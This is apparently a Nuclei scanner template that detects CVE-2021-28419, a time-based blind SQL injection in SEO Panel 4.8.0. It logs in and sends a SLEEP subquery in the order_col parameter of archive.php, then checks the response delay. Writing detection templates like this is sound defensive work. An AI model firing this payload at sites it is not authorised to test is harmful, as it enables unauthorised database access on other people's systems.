id: CVE-2021-28419 info: name: SEO Panel 4.8.0 - Blind SQL Injection author: theamanrawat severity: high description: | SEO Panel 4.8.0 is susceptible to time-based blind SQL injection via the order_col parameter in archive.php. An attacker can potentially retrieve all databases and thus obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. remediation: | Upgrade to a patched version of SEO Panel or apply the necessary security patches. reference: - https://github.com/seopanel/Seo-Panel/issues/209 - https://www.seopanel.org/spdownload/4.8.0 - https://nvd.nist.gov/vuln/detail/CVE-2021-28419 - http://packetstormsecurity.com/files/162322/SEO-Panel-4.8.0-SQL-Injection.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.2 cve-id: CVE-2021-28419 cwe-id: CWE-89 epss-score: 0.17236 epss-percentile: 0.95566 cpe: cpe:2.3:a:seopanel:seo_panel:4.8.0:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: seopanel product: seo_panel tags: cve,cve2021,sqli,seopanel,auth,packetstorm http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} Cookie: _csrf={{rand_base(54,"abc")}}; - | POST /login.php HTTP/1.1 Host: {{Hostname}} Origin: {{Hostname}} Content-Type: application/x-www-form-urlencoded Referer: {{BaseURL}}login.php Cookie: _csrf={{rand_base(54,"abc")}}; sec=login&red_referer=http%3A%2F%2F{{BaseURL}}&userName={{username}}&password={{password}}&login= - | GET /archive.php?from_time=2021-04-25&order_col=(SELECT+7397+FROM(SELECT(SLEEP(3)))test)&order_val=DESC&report_type=website-search-reports&search_name=&sec=viewWebsiteSearchSummary&to_time=2021-04-25&website_id= HTTP/1.1 Host: {{Hostname}} Cookie: _csrf={{rand_base(54,"abc")}}; matchers: - type: dsl dsl: - 'duration_3>=6' - 'status_code_3 == 200' - 'contains(body_3, "Overall Report Summary")' condition: and # digest: 4b0a00483046022100cebf896866228bdc9ed38c61a58a7b192ebb8235eb407b892fdde381a317f68d0221008ab66783dd1da1ee689e68aedc4265acf28e75e0ae96af62a15afab849f0479f:922c64590222798bb761d5b6d8e72950